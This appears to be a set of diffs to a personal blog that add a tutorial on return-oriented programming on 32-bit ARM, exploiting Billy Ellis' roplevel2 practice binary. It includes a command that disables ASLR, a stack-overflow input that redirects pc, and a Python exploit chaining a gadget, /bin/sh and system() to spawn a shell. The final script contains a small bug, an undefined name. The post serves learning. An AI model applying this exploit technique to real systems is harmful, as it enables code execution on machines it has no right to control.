@@ -31,6 +31,8 @@ <div class="content">
     <div align="left">
       <h1>Posts</h1>
 
+<p>6 June, 2019 — <a href="/blog/rop-on-arm">Return Oriented Programming on ARM (32-bit)</a></p>
+
 <p>13 May, 2019 — <a href="/blog/my-setup">My Setup</a></p>
 
 <p>8 Feb, 2019 — <a href="/blog/python-for-re-1/">Python for Reverse Engineering #1: ELF Binaries</a></p>

@@ -57,6 +57,11 @@ <p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
 may use <code>radare2</code>, IDA or anything else, really. All of which can be
 trivially installed.</p>
 
+<p>And for the sake of simplicity, disable ASLR:</p>
+
+<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space
+</code></pre></div>
+
 <p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
 <a href="/static/files/roplevel2.c">roplevel2</a>. </p>
 
@@ -100,7 +105,7 @@ 
 <h3>Exploring our binary</h3>
 
 <p>Start by running it, and entering any arbitrary string. On entering a fairly
-large string, say, “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”, we
+large string, say, “A” × 20, we
 see a segmentation fault occur.</p>
 
 <p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
@@ -135,6 +140,110 @@ 
 <p>Moving on to the disassembly of the <code>winner</code> function:</p>
 
 <p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
+
+<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
+So our end goal here is to, quite obviously, execute code via the <code>system()</code>
+function.</p>
+
+<p>Now that we have an overview of what’s in the binary, let’s formulate a method
+of exploitation by messing around with inputs.</p>
+
+<h3>Messing around with inputs :^)</h3>
+
+<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
+screenshot.</p>
+
+<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
+
+<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
+the <code>pc</code> has been overwritten with our input.
+So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
+
+<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
+control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
+
+<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
+of the second instruction — <code>add r11, sp, #4</code>. 
+For this, we’ll use Python to print out input string replacing <code>FFFF</code> with
+the address of <code>winner</code>. Note the endianness.</p>
+
+<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">&#39;print(&quot;AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00&quot;)&#39;</span> <span class="p">|</span> ./rop2
+</code></pre></div>
+
+<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
+
+<p>The reason we don’t jump to the first instruction is because we want to control the stack
+ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
+those out after <code>winner</code> is done executing and we will no longer control 
+where it jumps to.</p>
+
+<p>So that didn’t do much, just prints out a string “Nothing much here...”. 
+But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
+to do what we want (run a command, execute a shell, etc.).</p>
+
+<p>To do that, we’ll follow a multi-step process:
+1. Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.
+2. Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
+<code>r0</code>.
+3. Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</p>
+
+<p>The pseudo-code is something like this:</p>
+
+<pre><code>string = AAAABBBBCCCCDDDDEEEE
+gadget = # addr of gadget
+binsh  = # addr of /bin/sh
+system = # addr of system()
+
+print(string + gadget + binsh + system)
+</code></pre>
+
+<p>Clean and mean.</p>
+
+<h3>The exploit</h3>
+
+<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
+It allows us to pack the bytes of addresses to the endianness of our choice.
+It probably does a lot more, but who cares.</p>
+
+<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
+at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
+
+<pre><code>(gdb) find &amp;system, +9999999, "/bin/sh"
+</code></pre>
+
+<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
+
+<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
+found from the disassmblies from earlier. Here’s the final exploit code:</p>
+
+<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
+
+<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
+<span class="n">string</span> <span class="o">=</span> <span class="s2">&quot;AAAABBBBCCCCDDDDEEEE&quot;</span>
+<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
+<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&quot;I&quot;</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
+
+<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system_pc</span><span class="p">)</span>
+</code></pre></div>
+
+<p>Honestly, not too far off from our pseudo-code :)</p>
+
+<p>Let's see it in action:</p>
+
+<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
+
+<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
+when the pipe closes, since there’s no input coming in from STDIN.
+To get around this, we use <code>cat(1)</code> which allows us to relay input via <code>cat</code>
+to the shell. Nifty trick.</p>
+
+<h3>Conclusion</h3>
+
+<p>This was a fairly basic challenge, with everything laid out conviniently. 
+Actual ropchaining is a little more involved, with a lot more gadgets to be chained
+to acheive code execution.</p>
+
+<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
  
     </div>
    </body>

@@ -3,10 +3,6 @@ #include <string.h>
 #include <stdlib.h>
 #include <unistd.h>
 
-char str1[] = "uname -a";
-char str2[] = "touch pwned.txt";
-char str3[] = "ls -sail";
-
 void winner(){
     printf("Nothing interesting here...\n");
     system("# this does nothing...");

@@ -78,14 +78,21 @@ pre {
   padding: 10px;
 }
 
-pre, code {
+pre, pre code {
     background: #041b1e;
+    color: white;
     word-wrap: break-word;
     overflow-x: auto;
     white-space: pre-wrap;
     white-space: -moz-pre-wrap;
     white-space: -pre-wrap;
     white-space: -o-pre-wrap;
+}
+
+code {
+    color: cyan;
+    background: #041b1e;
+    padding: 1px;
 }
 
 .logo {

@@ -6,6 +6,8 @@ ---
 
 # Posts
 
+6 June, 2019 — [Return Oriented Programming on ARM (32-bit)](/blog/rop-on-arm)
+
 13 May, 2019 — [My Setup](/blog/my-setup)
 
 8 Feb, 2019 — [Python for Reverse Engineering #1: ELF Binaries](/blog/python-for-re-1/)

@@ -28,6 +28,12 @@ For debugging and disassembling, we’ll be using plain old `gdb`, but you
 may use `radare2`, IDA or anything else, really. All of which can be
 trivially installed.
 
+And for the sake of simplicity, disable ASLR:
+
+```shell
+$ echo 0 > /proc/sys/kernel/randomize_va_space
+```
+
 Finally, the binary we’ll be using in this exercise is [Billy Ellis’](https://twitter.com/bellis1000)
 [roplevel2](/static/files/roplevel2.c). 
 
@@ -69,7 +75,7 @@ 
 ### Exploring our binary
 
 Start by running it, and entering any arbitrary string. On entering a fairly
-large string, say, “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”, we
+large string, say, “A” × 20, we
 see a segmentation fault occur.
 
 ![string and segfault](/static/img/string_segfault.png)
@@ -105,6 +111,108 @@ Moving on to the disassembly of the `winner` function:
 
 ![gdb winner disassembly](/static/img/gdb_disas_winner.png)
 
+Here, we see a calls to `puts()`, `system()` and finally, `exit()`.
+So our end goal here is to, quite obviously, execute code via the `system()`
+function.
 
+Now that we have an overview of what’s in the binary, let’s formulate a method
+of exploitation by messing around with inputs.
 
+### Messing around with inputs :^)
 
+Back to `gdb`, hit `r` to run and pass in a patterned input, like in the
+screenshot.
+
+![gdb info reg post segfault](/static/img/gdb_info_reg_segfault.png)
+
+We hit a segfault because of invalid memory at address `0x46464646`. Notice
+the `pc` has been overwritten with our input.
+So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.
+
+Since we know the offset at which the `pc` gets overwritten, we can now
+control program execution flow. Let’s try jumping to the `winner` function.
+
+Disassemble `winner` again using `disas winner` and note down the offset
+of the second instruction — `add r11, sp, #4`. 
+For this, we’ll use Python to print out input string replacing `FFFF` with
+the address of `winner`. Note the endianness.
+
+```shell
+$ python -c 'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")' | ./rop2
+```
+
+![jump to winner](/static/img/python_winner_jump.png)
+
+The reason we don’t jump to the first instruction is because we want to control the stack
+ourselves. If we allow `push {rll, lr}` (first instruction) to occur, the program will `pop`
+those out after `winner` is done executing and we will no longer control 
+where it jumps to.
+
+So that didn’t do much, just prints out a string “Nothing much here...”. 
+But it _does_ however, contain `system()`. Which somehow needs to be populated with an argument
+to do what we want (run a command, execute a shell, etc.).
+
+To do that, we’ll follow a multi-step process:
+1. Jump to the address of `gadget`, again the 2nd instruction. This will `pop` `r0` and `pc`.
+2. Push our command to be executed, say “`/bin/sh`” onto the stack. This will go into
+`r0`.
+3. Then, push the address of `system()`. And this will go into `pc`.
+
+The pseudo-code is something like this:
+```
+string = AAAABBBBCCCCDDDDEEEE
+gadget = # addr of gadget
+binsh  = # addr of /bin/sh
+system = # addr of system()
+
+print(string + gadget + binsh + system)
+```
+Clean and mean.
+
+
+### The exploit
+
+To write the exploit, we’ll use Python and the absolute godsend of a library — `struct`.
+It allows us to pack the bytes of addresses to the endianness of our choice.
+It probably does a lot more, but who cares.
+
+Let’s start by fetching the address of `/bin/sh`. In `gdb`, set a breakpoint
+at `main`, hit `r` to run, and search the entire address space for the string “`/bin/sh`”:
+
+
+```
+(gdb) find &system, +9999999, "/bin/sh"
+```
+![gdb finding /bin/sh](/static/img/gdb_find_binsh.png)
+
+One hit at `0xb6f85588`. The addresses of `gadget` and `system()` can be
+found from the disassmblies from earlier. Here’s the final exploit code:
+```python
+import struct
+
+binsh = struct.pack("I", 0xb6f85588)
+string = "AAAABBBBCCCCDDDDEEEE"
+gadget = struct.pack("I", 0x00010550)
+system = struct.pack("I", 0x00010538)
+
+print(string + gadget + binsh + system_pc)
+
+```
+Honestly, not too far off from our pseudo-code :)
+
+Let's see it in action:
+
+![the shell!](/static/img/the_shell.png)
+
+Notice that it doesn’t work the first time, and this is because `/bin/sh` terminates
+when the pipe closes, since there’s no input coming in from STDIN.
+To get around this, we use `cat(1)` which allows us to relay input via `cat`
+to the shell. Nifty trick.
+
+### Conclusion
+
+This was a fairly basic challenge, with everything laid out conviniently. 
+Actual ropchaining is a little more involved, with a lot more gadgets to be chained
+to acheive code execution.
+
+Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.

@@ -3,10 +3,6 @@ #include <string.h>
 #include <stdlib.h>
 #include <unistd.h>
 
-char str1[] = "uname -a";
-char str2[] = "touch pwned.txt";
-char str3[] = "ls -sail";
-
 void winner(){
     printf("Nothing interesting here...\n");
     system("# this does nothing...");

@@ -78,14 +78,21 @@ pre {
   padding: 10px;
 }
 
-pre, code {
+pre, pre code {
     background: #041b1e;
+    color: white;
     word-wrap: break-word;
     overflow-x: auto;
     white-space: pre-wrap;
     white-space: -moz-pre-wrap;
     white-space: -pre-wrap;
     white-space: -o-pre-wrap;
+}
+
+code {
+    color: cyan;
+    background: #041b1e;
+    padding: 1px;
 }
 
 .logo {